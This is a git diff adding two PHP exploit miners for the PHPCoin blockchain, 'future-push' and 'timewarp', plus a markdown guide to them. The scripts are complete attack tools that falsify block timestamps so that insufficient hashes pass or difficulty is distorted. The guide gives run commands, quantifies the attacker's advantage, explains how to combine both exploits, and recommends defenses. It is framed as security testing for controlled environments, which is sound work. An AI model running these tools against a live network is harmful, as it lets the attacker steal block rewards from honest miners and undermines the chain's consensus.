diff --git a/utils/miner.future-push.php b/utils/miner.future-push.php new file mode 100644 index 00000000..54111fb8 --- /dev/null +++ b/utils/miner.future-push.php @@ -0,0 +1,457 @@ +hashing_cnt++; + $this->hashing_time = $this->hashing_time + ($t2-$th); + + $diff = $t2 - $t1; + $this->speed = round($this->attempt / $diff,2); + + $calc_cnt = round($this->speed * 60); + + if($calc_cnt > 0 && $this->hashing_cnt % $calc_cnt == 0) { + $this->sleep_time = $this->cpu == 0 ? INF : round((($this->hashing_time/$this->hashing_cnt)*1000)*(100-$this->cpu)/$this->cpu); + if($this->sleep_time < 0) { + $this->sleep_time = 0; + } + } + } + + public function start() + { + global $argv; + $this->miningStat = [ + 'started' => time(), + 'hashes' => 0, + 'submits' => 0, + 'accepted' => 0, + 'rejected' => 0, + 'dropped' => 0, + ]; + $start_time = time(); + $prev_hashes = null; + $this->sleep_time = (100 - $this->cpu) * 5; + + $this->getMiningNodes(); + + while ($this->running) { + $this->cnt++; + + $info = $this->getMiningInfo(); + if ($info === false) { + _log("Can not get mining info", 0); + sleep(3); + continue; + } + + if (!isset($info['data']['generator'])) { + _log("Miner node does not send generator address"); + sleep(3); + continue; + } + + if (!isset($info['data']['ip'])) { + _log("Miner node does not send ip address ", json_encode($info)); + sleep(3); + continue; + } + + $ip = $info['data']['ip']; + if (!Peer::validateIp($ip)) { + _log("Miner does not have valid ip address: $ip"); + sleep(3); + continue; + } + + $height = $info['data']['height'] + 1; + $block_date = $info['data']['date']; + $difficulty = $info['data']['difficulty']; + $reward = $info['data']['reward']; + $data = []; + $nodeTime = $info['data']['time']; + $prev_block_id = $info['data']['block']; + $chain_id = $info['data']['chain_id']; + $blockFound = false; + + + $now = time(); + $offset = $nodeTime - $now; + + $this->attempt = 0; + + $bl = new Block(null, $this->address, $height, null, null, $data, $difficulty, Block::versionCode($height), null, $prev_block_id); + + $t1 = microtime(true); + $prev_elapsed = null; + $bestHit = "0"; + $is_future_push_submission = false; + while (!$blockFound) { + $this->attempt++; + if ($this->sleep_time == INF) { + $this->running = false; + break; + } + usleep($this->sleep_time * 1000); + + $now = time(); + $elapsed = $now - $offset - $block_date; + $new_block_date = $block_date + $elapsed; + _log("Time=now=$now nodeTime=$nodeTime offset=$offset elapsed=$elapsed", 4); + $th = microtime(true); + $bl->argon = $bl->calculateArgonHash($block_date, $elapsed); + $bl->nonce = $bl->calculateNonce($block_date, $elapsed, $chain_id); + $bl->date = $block_date; + $hit = $bl->calculateHit(); + if(gmp_cmp($hit, $bestHit) > 0) { + $bestHit = $hit; + } + $target = $bl->calculateTarget($elapsed); + + $this->measureSpeed($t1, $th); + + $original_target = $target; + $future_target = "0"; + + if (gmp_cmp($hit, $original_target) > 0) { + $blockFound = true; + $is_future_push_submission = false; + } else { + $slipTime = min(30, $this->slipTime); + $future_elapsed = $elapsed + $slipTime; + $future_target = $bl->calculateTarget($future_elapsed); + if (gmp_cmp($hit, $future_target) > 0) { + $blockFound = true; + $is_future_push_submission = true; + } + } + + $s = sprintf("PID:%-6d Atmpt:%-6d Hght:%-8d Elpsd:%-4d Hit:%-8s Best:%-12s Target:%-12s Slip:%-12s Spd:%-6.2f S:%-2d A:%-2d R:%-2d D:%-2d", + getmypid(), + $this->attempt, + $height, + $elapsed, + number_format(gmp_intval($hit)), + number_format(gmp_intval($bestHit)), + number_format(gmp_intval($original_target)), + number_format(gmp_intval($future_target)), + $this->speed, + $this->miningStat['submits'], + $this->miningStat['accepted'], + $this->miningStat['rejected'], + $this->miningStat['dropped'] + ); + if (!$this->forked && !in_array("--flat-log", $argv)) { + echo $s . " \r"; + } else { + echo $s . PHP_EOL; + } + $this->miningStat['hashes']++; + if ($prev_elapsed != $elapsed && $elapsed % $this->checkInterval == 0) { + $prev_elapsed = $elapsed; + $info = $this->getMiningInfo(); + if ($info !== false) { + _log("Checking new block from server " . $info['data']['block'] . " with our block $prev_block_id", 4); + if ($info['data']['block'] != $prev_block_id) { + _log("New block received", 2); + $this->miningStat['dropped']++; + break; + } + } + } + $send_interval = 60; + $t = time(); + $elapsed_send = $t - $start_time; + if ($elapsed_send >= $send_interval) { + $start_time = time(); + $hashes = $this->miningStat['hashes'] - $prev_hashes; + $prev_hashes = $this->miningStat['hashes']; + $this->sendStat($hashes, $height, $send_interval); + } + } + + if (!$blockFound || $elapsed <= 0) { + continue; + } + + $submit_elapsed = $elapsed; + $submit_date = $new_block_date; + + echo "----------------------------------------------------------------" . PHP_EOL; + if ($is_future_push_submission) { + $slipTime = min(30, $this->slipTime); + $submit_date = time() + $slipTime; + $submit_elapsed = $submit_date - $block_date; + $submit_target = $bl->calculateTarget($submit_elapsed); + $future_target_val = $bl->calculateTarget($elapsed + $slipTime); + + echo "Block Found & Submitting with Future-Push:" . PHP_EOL; + echo " - Hit: " . (string)$hit . PHP_EOL; + echo " - Original Target: " . (string)$original_target . " (INVALID)" . PHP_EOL; + echo " - Future Target: " . (string)$future_target_val . " (VALID)" . PHP_EOL; + echo " - Submitted Target: " . (string)$submit_target . PHP_EOL; + echo " - Slip Time: " . $slipTime . " seconds" . PHP_EOL; + echo " - Manipulated Elapsed: " . $submit_elapsed . PHP_EOL; + echo " - Final Timestamp: " . $submit_date . PHP_EOL; + + } else { + $submit_target = $original_target; + echo "Block Found & Submitting (Normal):" . PHP_EOL; + echo " - Hit: " . (string)$hit . PHP_EOL; + echo " - Target: " . (string)$submit_target . " (VALID)" . PHP_EOL; + echo " - Elapsed: " . $submit_elapsed . PHP_EOL; + echo " - Timestamp: " . $submit_date . PHP_EOL; + } + echo "----------------------------------------------------------------" . PHP_EOL; + + $postData = [ + 'argon' => $bl->argon, + 'nonce' => $bl->nonce, + 'height' => $height, + 'difficulty' => $difficulty, + 'address' => $this->address, + 'hit' => (string)$hit, + 'target' => (string)$submit_target, + 'date' => $submit_date, + 'elapsed' => $submit_elapsed, + 'minerInfo' => 'phpcoin-miner cli ' . VERSION, + "version" => MINER_VERSION + ]; + + echo "RAW POST DATA:" . PHP_EOL; + print_r($postData); + echo "----------------------------------------------------------------" . PHP_EOL; + + $this->miningStat['submits']++; + $res = $this->sendHash($this->node, $postData, $response); + $accepted = false; + if ($res) { + $accepted = true; + } else { + if (is_array($this->miningNodes) && count($this->miningNodes) > 0) { + foreach ($this->miningNodes as $node) { + $res = $this->sendHash($node, $postData, $response); + if ($res) { + $accepted = true; + break; + } + } + } + } + + if ($accepted) { + _log("Block confirmed", 1); + $this->miningStat['accepted']++; + echo "[+] Exploit successful! The manipulated block was accepted by the node." . PHP_EOL; + } else { + _log("Block not confirmed: " . $res, 1); + $this->miningStat['rejected']++; + echo "[-] Exploit failed. The manipulated block was rejected by the node." . PHP_EOL; + } + + sleep(3); + + if ($this->block_cnt > 0 && $this->cnt >= $this->block_cnt) { + break; + } + + _log("Mining stats: " . json_encode($this->miningStat), 2); + $minerStatFile = Miner::getStatFile(); + file_put_contents($minerStatFile, json_encode($this->miningStat)); + } + + _log("Miner stopped"); + } + + function getMiningInfoFromNode($node) { + $url = $node."/mine.php?q=info"; + echo "Getting info from url ". $url.PHP_EOL; + $info_json = url_get($url); + echo "Received mining info: ".$info_json.PHP_EOL; + if(!$info_json) return false; + $info = json_decode($info_json, true); + if(empty($info) || empty($info['data']) || !$info['status']=="ok") { + _log("Error getting mining info from $node", 3); + return false; + } + return $info; + } + + private function sendHash($node, $postData, &$response) { + $url = $node . "/mine.php?q=submitHash&"; + echo "Submitting hash to ". $url.PHP_EOL; + echo "RAW POST DATA:" . PHP_EOL; + print_r($postData); + echo "----------------------------------------------------------------" . PHP_EOL; + $res = url_post($url, http_build_query($postData), 5); + echo "Node response: ".$res.PHP_EOL; + $response = json_decode($res, true); + _log("Send hash to node $node response = ".json_encode($response)); + if(!isset($this->miningStat['submitted_blocks'])) { + $this->miningStat['submitted_blocks']=[]; + } + $this->miningStat['submitted_blocks'][]=[ + "time"=>date("r"), + "node"=>$node, + "height"=>$postData['height'], + "elapsed"=>$postData['elapsed'], + "hashes"=>$this->attempt, + "hit"=> $postData['hit'], + "target"=>$postData['target'], + "status"=>@$response['status']=="ok" ? "accepted" : "rejected", + "response"=>@$response['data'] + ]; + if (@$response['status'] == "ok") { + return true; + } else { + return false; + } + } +} + + +$node = @$argv[1]; +$address = @$argv[2]; +$cpu = @$argv[3]; +$block_cnt = @$argv[4]; + +foreach ($argv as $item){ + if(strpos($item, "--threads")!==false) { + $arr = explode("=", $item); + $threads = $arr[1]; + } + if(strpos($item, "--slip-time")!==false) { + $arr = explode("=", $item); + $slipTime = $arr[1]; + } + if(strpos($item, "--check-interval")!==false) { + $arr = explode("=", $item); + $checkInterval = $arr[1]; + } +} + +if (in_array('help', $argv) || in_array('--help', $argv)) { + echo "PHPCoin Future-Push Exploit Miner (Version ".VERSION.")".PHP_EOL; + echo "Usage: php utils/miner.future-push.php
[options]".PHP_EOL; + echo PHP_EOL; + echo "Arguments:".PHP_EOL; + echo " The URL of the node (e.g., http://127.0.0.1)".PHP_EOL; + echo "
The mining address".PHP_EOL; + echo " The percentage of CPU to use (0-100)".PHP_EOL; + echo PHP_EOL; + echo "Options:".PHP_EOL; + echo " --threads= Number of threads to use for mining (default: 1)".PHP_EOL; + echo " --slip-time= The number of seconds to slip the timestamp into the future (default: 20, max: 30)".PHP_EOL; + echo " --check-interval= The interval in seconds to check for new blocks (default: 10)".PHP_EOL; + echo " --help Display this help message".PHP_EOL; + exit; +} + + +if(file_exists(getcwd()."/miner.conf")) { + $minerConf = parse_ini_file(getcwd()."/miner.conf"); + $node = $minerConf['node']; + $address = $minerConf['address']; + $block_cnt = @$minerConf['block_cnt']; + $cpu = @$minerConf['cpu']; + $threads = @$minerConf['threads']; +} + +if(empty($threads)) { + $threads=1; +} + +$cpu = is_null($cpu) ? 50 : $cpu; +if($cpu > 100) $cpu = 100; + +echo "PHPCoin Miner Version ".VERSION.PHP_EOL; +echo "Mining server: ".$node.PHP_EOL; +echo "Mining address: ".$address.PHP_EOL; +echo "CPU: ".$cpu.PHP_EOL; +echo "Threads: ".$threads.PHP_EOL; +echo "Miner: Future-Push Exploit".PHP_EOL; +if(!empty($slipTime)) { + echo "Slip Time: ".$slipTime.PHP_EOL; +} + + +if(empty($node) && empty($address)) { + die("Usage: miner
".PHP_EOL); +} + +if(empty($node)) { + die("Node not defined".PHP_EOL); +} +if(empty($address)) { + die("Address not defined".PHP_EOL); +} + +$res = url_get($node . "/api.php?q=getPublicKey&address=".$address); +if(empty($res)) { + die("No response from node".PHP_EOL); +} +$res = json_decode($res, true); +if(empty($res)) { + die("Invalid response from node".PHP_EOL); +} +if(!($res['status']=="ok" && !empty($res['data']))) { + die("Invalid response from node: ".json_encode($res).PHP_EOL); +} + +echo "Network: ".$res['network'].PHP_EOL; + +$_config['enable_logging'] = true; +$_config['log_verbosity']=0; +$_config['log_file']="/dev/null"; +$_config['chain_id'] = trim(file_exists(dirname(__DIR__)."/chain_id")); + +define("ROOT", __DIR__); + +function startMiner($address,$node, $forked) { + global $cpu, $block_cnt, $slipTime, $checkInterval; + $miner = new FuturePushMiner($address, $node, $forked); + if (!empty($slipTime)) { + $miner->slipTime = $slipTime; + } + if (!empty($checkInterval)) { + $miner->checkInterval = $checkInterval; + } + $miner->block_cnt = empty($block_cnt) ? 0 : $block_cnt; + $miner->cpu = $cpu; + $miner->start(); +} + +if($threads == 1) { + startMiner($address,$node, false); +} else { + $forker = new Forker(); + for($i=1; $i<=$threads; $i++) { + $forker->fork(function() use ($address,$node) { + startMiner($address,$node, true); + }); + } + $forker->exec(); +} diff --git a/utils/miner.timewarp.php b/utils/miner.timewarp.php new file mode 100644 index 00000000..8f5c7c6e --- /dev/null +++ b/utils/miner.timewarp.php @@ -0,0 +1,451 @@ +hashing_cnt++; + $this->hashing_time = $this->hashing_time + ($t2-$th); + + $diff = $t2 - $t1; + $this->speed = round($this->attempt / $diff,2); + + $calc_cnt = round($this->speed * 60); + + if($calc_cnt > 0 && $this->hashing_cnt % $calc_cnt == 0) { + $this->sleep_time = $this->cpu == 0 ? INF : round((($this->hashing_time/$this->hashing_cnt)*1000)*(100-$this->cpu)/$this->cpu); + if($this->sleep_time < 0) { + $this->sleep_time = 0; + } + } + } + + public function start() + { + global $argv; + $this->miningStat = [ + 'started' => time(), + 'hashes' => 0, + 'submits' => 0, + 'accepted' => 0, + 'rejected' => 0, + 'dropped' => 0, + ]; + $start_time = time(); + $prev_hashes = null; + $this->sleep_time = (100 - $this->cpu) * 5; + + $this->getMiningNodes(); + + while ($this->running) { + $this->cnt++; + + $info = $this->getMiningInfo(); + if ($info === false) { + _log("Can not get mining info", 0); + sleep(3); + continue; + } + + if (!isset($info['data']['generator'])) { + _log("Miner node does not send generator address"); + sleep(3); + continue; + } + + if (!isset($info['data']['ip'])) { + _log("Miner node does not send ip address ", json_encode($info)); + sleep(3); + continue; + } + + $ip = $info['data']['ip']; + if (!Peer::validateIp($ip)) { + _log("Miner does not have valid ip address: $ip"); + sleep(3); + continue; + } + + $height = $info['data']['height'] + 1; + $block_date = $info['data']['date']; + $difficulty = $info['data']['difficulty']; + $reward = $info['data']['reward']; + $data = []; + $nodeTime = $info['data']['time']; + $prev_block_id = $info['data']['block']; + $chain_id = $info['data']['chain_id']; + $blockFound = false; + + + $now = time(); + $offset = $nodeTime - $now; + + $this->attempt = 0; + + $bl = new Block(null, $this->address, $height, null, null, $data, $difficulty, Block::versionCode($height), null, $prev_block_id); + + $t1 = microtime(true); + $prev_elapsed = null; + $bestHit = "0"; + while (!$blockFound) { + $this->attempt++; + if ($this->sleep_time == INF) { + $this->running = false; + break; + } + usleep($this->sleep_time * 1000); + + $now = time(); + $elapsed = $now - $offset - $block_date; + $new_block_date = $block_date + $elapsed; + _log("Time=now=$now nodeTime=$nodeTime offset=$offset elapsed=$elapsed", 4); + $th = microtime(true); + $bl->argon = $bl->calculateArgonHash($block_date, $elapsed); + $bl->nonce = $bl->calculateNonce($block_date, $elapsed, $chain_id); + $bl->date = $block_date; + $hit = $bl->calculateHit(); + if(gmp_cmp($hit, $bestHit) > 0) { + $bestHit = $hit; + } + $target = $bl->calculateTarget($elapsed); + $blockFound = ($hit > 0 && $target > 0 && $hit > $target); + + $this->measureSpeed($t1, $th); + + $s = sprintf("PID:%-8d Att:%-10d H:%-10d Diff:%-18s Elps:%-5d Hit:%-15s Bst-Hit:%-15s Tgt:%-20s Spd:%-8.2f S:%-3d A:%-3d R:%-3d D:%-3d", + getmypid(), + $this->attempt, + $height, + (string)$difficulty, + $elapsed, + (string)$hit, + (string)$bestHit, + (string)$target, + $this->speed, + $this->miningStat['submits'], + $this->miningStat['accepted'], + $this->miningStat['rejected'], + $this->miningStat['dropped'] + ); + if (!$this->forked && !in_array("--flat-log", $argv)) { + echo $s . " \r"; + } else { + echo $s . PHP_EOL; + } + $this->miningStat['hashes']++; + if ($prev_elapsed != $elapsed && $elapsed % $this->checkInterval == 0) { + $prev_elapsed = $elapsed; + $info = $this->getMiningInfo(); + if ($info !== false) { + _log("Checking new block from server " . $info['data']['block'] . " with our block $prev_block_id", 4); + if ($info['data']['block'] != $prev_block_id) { + _log("New block received", 2); + $this->miningStat['dropped']++; + break; + } + } + } + $send_interval = 60; + $t = time(); + $elapsed_send = $t - $start_time; + if ($elapsed_send >= $send_interval) { + $start_time = time(); + $hashes = $this->miningStat['hashes'] - $prev_hashes; + $prev_hashes = $this->miningStat['hashes']; + $this->sendStat($hashes, $height, $send_interval); + } + } + + if (!$blockFound || $elapsed <= 0) { + continue; + } + + // --- Timewarp Exploit Start --- + $slipTime = min(30, $this->slipTime); // Ensure slip time doesn't exceed 30 seconds + echo PHP_EOL . "[+] Block found with a valid hit: $hit" . PHP_EOL; + echo "[+] Starting Timewarp attack. Waiting {$this->waitTime} seconds to artificially inflate elapsed time..." . PHP_EOL; + sleep($this->waitTime); + echo "[+] Waited {$this->waitTime} seconds. Now manipulating timestamp..." . PHP_EOL; + + $new_block_date = time() + $slipTime; + $original_elapsed = $elapsed; + $elapsed = $new_block_date - $block_date; + + echo "[+] Original elapsed time: $original_elapsed" . PHP_EOL; + echo "[+] Manipulated elapsed time: $elapsed" . PHP_EOL; + echo "[+] Original block date: " . date("r", $block_date + $original_elapsed) . PHP_EOL; + echo "[+] Manipulated block date: " . date("r", $new_block_date) . PHP_EOL; + + echo "----------------------------------------------------------------" . PHP_EOL; + echo "Block Found & Submitting with Timewarp:" . PHP_EOL; + echo " - Hit: " . (string)$hit . PHP_EOL; + echo " - Target: " . (string)$target . PHP_EOL; + echo " - Wait Time: " . $this->waitTime . " seconds" . PHP_EOL; + echo " - Slip Time: " . $slipTime . " seconds" . PHP_EOL; + echo " - Original Elapsed: " . $original_elapsed . PHP_EOL; + echo " - Manipulated Elapsed:" . $elapsed . PHP_EOL; + echo " - Final Timestamp: " . date("r", $new_block_date) . PHP_EOL; + echo "----------------------------------------------------------------" . PHP_EOL; + // --- Timewarp Exploit End --- + + $postData = [ + 'argon' => $bl->argon, + 'nonce' => $bl->nonce, + 'height' => $height, + 'difficulty' => $difficulty, + 'address' => $this->address, + 'hit' => (string)$hit, + 'target' => (string)$target, + 'date' => $new_block_date, + 'elapsed' => $elapsed, + 'minerInfo' => 'phpcoin-miner cli ' . VERSION, + "version" => MINER_VERSION + ]; + + echo "RAW POST DATA:" . PHP_EOL; + print_r($postData); + echo "----------------------------------------------------------------" . PHP_EOL; + + $this->miningStat['submits']++; + $res = $this->sendHash($this->node, $postData, $response); + $accepted = false; + if ($res) { + $accepted = true; + } else { + if (is_array($this->miningNodes) && count($this->miningNodes) > 0) { + foreach ($this->miningNodes as $node) { + $res = $this->sendHash($node, $postData, $response); + if ($res) { + $accepted = true; + break; + } + } + } + } + + if ($accepted) { + _log("Block confirmed", 1); + $this->miningStat['accepted']++; + echo "[+] Exploit successful! The manipulated block was accepted by the node." . PHP_EOL; + } else { + _log("Block not confirmed: " . $res, 1); + $this->miningStat['rejected']++; + echo "[-] Exploit failed. The manipulated block was rejected by the node." . PHP_EOL; + } + + sleep(3); + + if ($this->block_cnt > 0 && $this->cnt >= $this->block_cnt) { + break; + } + + _log("Mining stats: " . json_encode($this->miningStat), 2); + $minerStatFile = Miner::getStatFile(); + file_put_contents($minerStatFile, json_encode($this->miningStat)); + } + + _log("Miner stopped"); + } + + function getMiningInfoFromNode($node) { + $url = $node."/mine.php?q=info"; + echo "Getting info from url ". $url.PHP_EOL; + $info_json = url_get($url); + echo "Received mining info: ".$info_json.PHP_EOL; + if(!$info_json) return false; + $info = json_decode($info_json, true); + if(empty($info) || empty($info['data']) || !$info['status']=="ok") { + _log("Error getting mining info from $node", 3); + return false; + } + return $info; + } + + private function sendHash($node, $postData, &$response) { + $url = $node . "/mine.php?q=submitHash&"; + echo "Submitting hash to ". $url.PHP_EOL; + echo "RAW POST DATA:" . PHP_EOL; + print_r($postData); + echo "----------------------------------------------------------------" . PHP_EOL; + $res = url_post($url, http_build_query($postData), 5); + echo "Node response: ".$res.PHP_EOL; + $response = json_decode($res, true); + _log("Send hash to node $node response = ".json_encode($response)); + if(!isset($this->miningStat['submitted_blocks'])) { + $this->miningStat['submitted_blocks']=[]; + } + $this->miningStat['submitted_blocks'][]=[ + "time"=>date("r"), + "node"=>$node, + "height"=>$postData['height'], + "elapsed"=>$postData['elapsed'], + "hashes"=>$this->attempt, + "hit"=> $postData['hit'], + "target"=>$postData['target'], + "status"=>@$response['status']=="ok" ? "accepted" : "rejected", + "response"=>@$response['data'] + ]; + if (@$response['status'] == "ok") { + return true; + } else { + return false; + } + } +} + + +$node = @$argv[1]; +$address = @$argv[2]; +$cpu = @$argv[3]; +$block_cnt = @$argv[4]; + +foreach ($argv as $item){ + if(strpos($item, "--threads")!==false) { + $arr = explode("=", $item); + $threads = $arr[1]; + } + if(strpos($item, "--slip-time")!==false) { + $arr = explode("=", $item); + $slipTime = $arr[1]; + } + if(strpos($item, "--wait-time")!==false) { + $arr = explode("=", $item); + $waitTime = $arr[1]; + } + if(strpos($item, "--check-interval")!==false) { + $arr = explode("=", $item); + $checkInterval = $arr[1]; + } +} + +if (in_array('help', $argv) || in_array('--help', $argv)) { + echo "PHPCoin Timewarp Exploit Miner (Version ".VERSION.")".PHP_EOL; + echo "Usage: php utils/miner.timewarp.php
[options]".PHP_EOL; + echo PHP_EOL; + echo "Arguments:".PHP_EOL; + echo " The URL of the node (e.g., http://127.0.0.1)".PHP_EOL; + echo "
The mining address".PHP_EOL; + echo " The percentage of CPU to use (0-100)".PHP_EOL; + echo PHP_EOL; + echo "Options:".PHP_EOL; + echo " --threads= Number of threads to use for mining (default: 1)".PHP_EOL; + echo " --slip-time= The number of seconds to slip the timestamp into the future (default: 20, max: 30)".PHP_EOL; + echo " --wait-time= The number of seconds to wait after finding a block before submitting (default: 20)".PHP_EOL; + echo " --check-interval= The interval in seconds to check for new blocks (default: 10)".PHP_EOL; + echo " --help Display this help message".PHP_EOL; + exit; +} + + +if(file_exists(getcwd()."/miner.conf")) { + $minerConf = parse_ini_file(getcwd()."/miner.conf"); + $node = $minerConf['node']; + $address = $minerConf['address']; + $block_cnt = @$minerConf['block_cnt']; + $cpu = @$minerConf['cpu']; + $threads = @$minerConf['threads']; +} + +if(empty($threads)) { + $threads=1; +} + +$cpu = is_null($cpu) ? 50 : $cpu; +if($cpu > 100) $cpu = 100; + +echo "PHPCoin Miner Version ".VERSION.PHP_EOL; +echo "Mining server: ".$node.PHP_EOL; +echo "Mining address: ".$address.PHP_EOL; +echo "CPU: ".$cpu.PHP_EOL; +echo "Threads: ".$threads.PHP_EOL; +echo "Miner: Timewarp Exploit".PHP_EOL; +if(!empty($waitTime)) { + echo "Wait Time: ".$waitTime.PHP_EOL; +} +if(!empty($slipTime)) { + echo "Slip Time: ".$slipTime.PHP_EOL; +} + + +if(empty($node) && empty($address)) { + die("Usage: miner
".PHP_EOL); +} + +if(empty($node)) { + die("Node not defined".PHP_EOL); +} +if(empty($address)) { + die("Address not defined".PHP_EOL); +} + +$res = url_get($node . "/api.php?q=getPublicKey&address=".$address); +if(empty($res)) { + die("No response from node".PHP_EOL); +} +$res = json_decode($res, true); +if(empty($res)) { + die("Invalid response from node".PHP_EOL); +} +if(!($res['status']=="ok" && !empty($res['data']))) { + die("Invalid response from node: ".json_encode($res).PHP_EOL); +} + +echo "Network: ".$res['network'].PHP_EOL; + +$_config['enable_logging'] = true; +$_config['log_verbosity']=0; +$_config['log_file']="/dev/null"; +$_config['chain_id'] = trim(file_exists(dirname(__DIR__)."/chain_id")); + +define("ROOT", __DIR__); + +function startMiner($address,$node, $forked) { + global $cpu, $block_cnt, $slipTime, $waitTime, $checkInterval; + $miner = new TimewarpMiner($address, $node, $forked); + if (!empty($slipTime)) { + $miner->slipTime = $slipTime; + } + if (!empty($waitTime)) { + $miner->waitTime = $waitTime; + } + if (!empty($checkInterval)) { + $miner->checkInterval = $checkInterval; + } + $miner->block_cnt = empty($block_cnt) ? 0 : $block_cnt; + $miner->cpu = $cpu; + $miner->start(); +} + +if($threads == 1) { + startMiner($address,$node, false); +} else { + $forker = new Forker(); + for($i=1; $i<=$threads; $i++) { + $forker->fork(function() use ($address,$node) { + startMiner($address,$node, true); + }); + } + $forker->exec(); +} diff --git a/utils/security.testing.md b/utils/security.testing.md new file mode 100644 index 00000000..b36a0aee --- /dev/null +++ b/utils/security.testing.md @@ -0,0 +1,135 @@ +# Consensus Exploit Testing Guide + +**Important Note:** The tools and descriptions in this document are for testing and validation purposes only. They demonstrate potential exploits that have been identified in security audits. The functionality of these miners has not yet been validated against a live network and should be used exclusively in controlled test environments. + +--- + +## 1. Timewarp Attack Miner (`utils/miner.timewarp.php`) + +This miner is designed to test a "Timewarp" vulnerability. + +### Technical Details + +The `miner.timewarp.php` script demonstrates an attack where a miner can artificially inflate the `elapsed` time between blocks to manipulate the mining difficulty. The script operates as follows: + +1. It performs a normal mining process to find a block with a valid hash (where `hit` > `target`). +2. Once a valid block is found, the script does **not** submit it immediately. +3. Instead, it pauses for a configurable duration (the "wait time"). +4. After waiting, it sets the block's timestamp to a future value (the "slip time"). +5. Finally, it submits the block with the manipulated timestamp. + +This artificially increases the `elapsed` time since the last block, which can lower the `target` difficulty for the next block, making it easier to mine. The logic is encapsulated in a self-contained `TimewarpMiner` class within the script itself. + +### How to Use + +Run the miner from the command line, providing the node URL, your address, and CPU usage. You can specify the exploit parameters using the `--wait-time` and `--slip-time` options. + +**Usage:** +```bash +php utils/miner.timewarp.php
[options] +``` + +**Example:** +```bash +php utils/miner.timewarp.php http://127.0.0.1 Pfoo1234567890abcdefghijklmnopqrstuvwxyz 50 --wait-time=20 --slip-time=29 +``` + +**Options:** +- `--wait-time=`: The number of seconds to wait after finding a block before submitting. Default: 20. +- `--slip-time=`: The number of seconds to push the block's timestamp into the future. Default: 20 (Max: 30). + +### Recommended Defense + +A robust defense against the Timewarp attack requires a multi-layered approach to ensure network-wide time synchronization. + +1. **Implement Median Time Past (MTP):** This is the primary defense. A new block should only be accepted if its timestamp is greater than the median timestamp of the last 11 blocks. This prevents any single miner from manipulating the timestamp significantly. +2. **Use a Network Time Protocol (NTP) Client:** Each node should periodically synchronize its system clock with a trusted NTP server. This prevents the node's local clock from drifting significantly, which is a prerequisite for some time-based attacks. +3. **Implement Peer-to-Peer Time Checks:** Nodes should query each other for the time and refuse to connect to peers whose clocks are too far out of sync with their own. This helps to isolate nodes with incorrect time and maintain a consistent network time. + +--- + +## 2. Future-Push Attack Miner (`utils/miner.future-push.php`) + +This miner is designed to test a "Future-Push" vulnerability, which is a specific type of "slip time" attack. + +### Technical Details + +The `miner.future-push.php` script demonstrates an attack where a miner can validate a block that was solved too quickly (and is therefore normally invalid). The script operates as follows: + +1. It begins mining, calculating a `hit` value for each attempt. +2. In each attempt, it checks the `hit` against two values: + - The **current `target`**, based on the actual `elapsed` time. + - A **`future_target`**, calculated with a manipulated `elapsed` time (actual elapsed + slip time). +3. The miner finds a block when the `hit` is greater than the `future_target`, even if it is still *less than* the current `target`. +4. Once such a block is found, it immediately submits it with a future-dated timestamp. + +This allows a miner to successfully submit a block that they did not technically have the hashrate to find, by exploiting the 30-second future timestamp allowance. The logic is encapsulated in a self-contained `FuturePushMiner` class within the script. + +### How to Use + +Run the miner from the command line, providing the node URL, your address, and CPU usage. You can specify the exploit's future timestamp using the `--slip-time` option. + +**Usage:** +```bash +php utils/miner.future-push.php
[options] +``` + +**Example:** +```bash +php utils/miner.future-push.php http://127.0.0.1 Pfoo1234567890abcdefghijklmnopqrstuvwxyz 50 --slip-time=29 +``` + +**Options:** +- `--slip-time=`: The number of seconds to push the block's timestamp into the future to validate an otherwise invalid block. Default: 20 (Max: 30). + +### Recommended Defense + +A layered defense is the most effective way to prevent Future-Push and other "slip time" attacks. + +1. **Drastically Reduce the Future-Dating Window:** This is the most direct defense. Lower the maximum acceptable future timestamp from the current `time() + 30` to a much smaller value, such as `time() + 2`. This provides a small buffer for network latency and clock drift without being large enough to be gameable. +2. **Implement Median Time Past (MTP):** As with the Timewarp attack, an MTP check will ensure that a block's timestamp is consistent with the recent history of the blockchain, preventing large deviations into the future. +3. **Synchronize Clocks with NTP:** Nodes should use an NTP client to keep their local system time accurate, reducing the likelihood of network splits caused by clock drift. + +--- + +## 3. Analysis of Exploit Advantage + +This section provides a theoretical analysis of the advantage an attacker gains by executing these exploits, based on the following approximate **total network** statistics: +- **Average Network Block Time:** ~65 seconds +- **Average Network Hash Rate:** ~1600 H/s + +### Timewarp Attack + +The Timewarp attack is a **post-mining timing manipulation**. It does not provide any advantage in *finding* a valid hash. A miner must first find a genuinely valid block through normal, competitive mining. + +Therefore, this attack **provides no advantage in solving a block**. Its sole purpose is to manipulate the `elapsed` time *after* a block has been solved to influence the difficulty calculation for future blocks. + +### Future-Push Attack + +The Future-Push attack provides a significant advantage by allowing an attacker to validate a block that would be considered invalid by honest miners. + +The core of the Elapsed Proof of Work system is that the `target` (difficulty) is inversely proportional to the `elapsed` time since the last block. Honest miners must keep hashing until the `elapsed` time is high enough to lower the `target` below their `hit`. On average, this takes the entire network **~65 seconds**. + +An attacker using the Future-Push exploit can find a block with a low `elapsed` time (e.g., 10 seconds) and a `hit` that is *too low* for the high `target`. By pushing the timestamp forward 29 seconds, they submit the block with an `elapsed` time of `10 + 29 = 39` seconds. + +The advantage is clear: +- An **honest miner** needs a `hit` that can beat a `target` calculated with an `elapsed` time of ~65 seconds. +- An **attacker** only needs a `hit` that can beat a `target` calculated with an `elapsed` time of ~39 seconds. + +Because the target is significantly easier to beat, the attacker can find a valid block much faster than an honest miner with the same hash power. This gives them a disproportionate share of the block rewards and allows them to find blocks more frequently than their raw hash power would otherwise permit. + +--- + +## 4. Combining Exploits for Maximum Effect + +The "Future-Push" and "Timewarp" attacks can be used in concert to create the most impactful exploit. This combined strategy allows a miner to not only find a block with a significant time advantage but also to maximally influence the difficulty of the next block. + +The process is as follows: + +1. **Use the Future-Push Method:** A miner runs the `miner.future-push.php` script to find a block that is initially invalid but can be made valid by pushing the timestamp forward. This allows them to "solve" the block in a fraction of the normal time (e.g., 10 seconds). + +2. **Apply the Timewarp Principle:** Instead of broadcasting the block immediately, the miner waits for an additional period (e.g., 20-30 seconds). + +3. **Broadcast with a Future Timestamp:** After waiting, the miner broadcasts the block with its timestamp set far into the future (e.g., `time() + 29s`). + +The result is a massively inflated `elapsed` time. For example, if a block is found in 10 seconds, the miner waits 25 seconds, and then pushes the timestamp 29 seconds into the future, the `elapsed` time for a block that only took 10 seconds to mine will be recorded as `10 + 25 + 29 = 64` seconds. This makes the invalid block appear as a normally mined block, which completely breaks the difficulty adjustment mechanism for the next block.